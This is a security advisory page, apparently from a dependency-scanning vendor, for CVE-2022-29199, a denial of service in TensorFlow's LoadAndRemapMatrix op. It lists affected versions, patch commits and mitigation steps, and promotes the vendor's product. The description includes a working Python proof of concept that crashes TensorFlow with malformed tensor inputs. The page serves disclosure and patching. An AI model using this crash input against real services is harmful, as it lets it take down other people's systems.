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GHSA-p9rc-rmr5-529j

MEDIUM

Missing validation causes denial of service via `LoadAndRemapMatrix`

Also known asBIT-tensorflow-2022-29199CVE-2022-29199
Published
May 24, 2022
Updated
Dec 6, 2023
Affected
9 pkgs
Patched
9 / 9
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk23th percentile+0.26%
0.00%0.27%0.54%0.82%0.0%0.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

9 pkgs affected
🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-gpu🐍tensorflow-gpu+1 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

ckpt_path = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw_ops.LoadAndRemapMatrix(
  ckpt_path=ckpt_path,
  old_tensor_name=old_tensor_name,
  row_remapping=row_remapping,
  col_remapping=col_remapping,
  initializing_values=initializing_values,
  num_rows=1,
  num_cols=1)

The code assumes initializing_values is a vector but there is no validation for this before accessing its value:

OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();

Patches

We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Affected Packages

9 total 9 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItensorflowall versions2.6.4
🐍PyPItensorflow2.7.0&&< 2.7.22.7.2
🐍PyPItensorflow2.8.0&&< 2.8.12.8.1
🐍PyPItensorflow-cpuall versions2.6.4
🐍PyPItensorflow-cpu2.7.0&&< 2.7.22.7.2
🐍PyPItensorflow-cpu2.8.0&&< 2.8.12.8.1
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update tensorflow to 2.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p9rc-rmr5-529j is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-p9rc-rmr5-529j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-p9rc-rmr5-529j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The implementation of [`tf.raw_ops.LoadAndRemapMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf ckpt_path = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) old_tensor_name = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", sh
O3 Security · Impact-Aware SCA

Is GHSA-p9rc-rmr5-529j in your dependencies?

O3 detects GHSA-p9rc-rmr5-529j across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.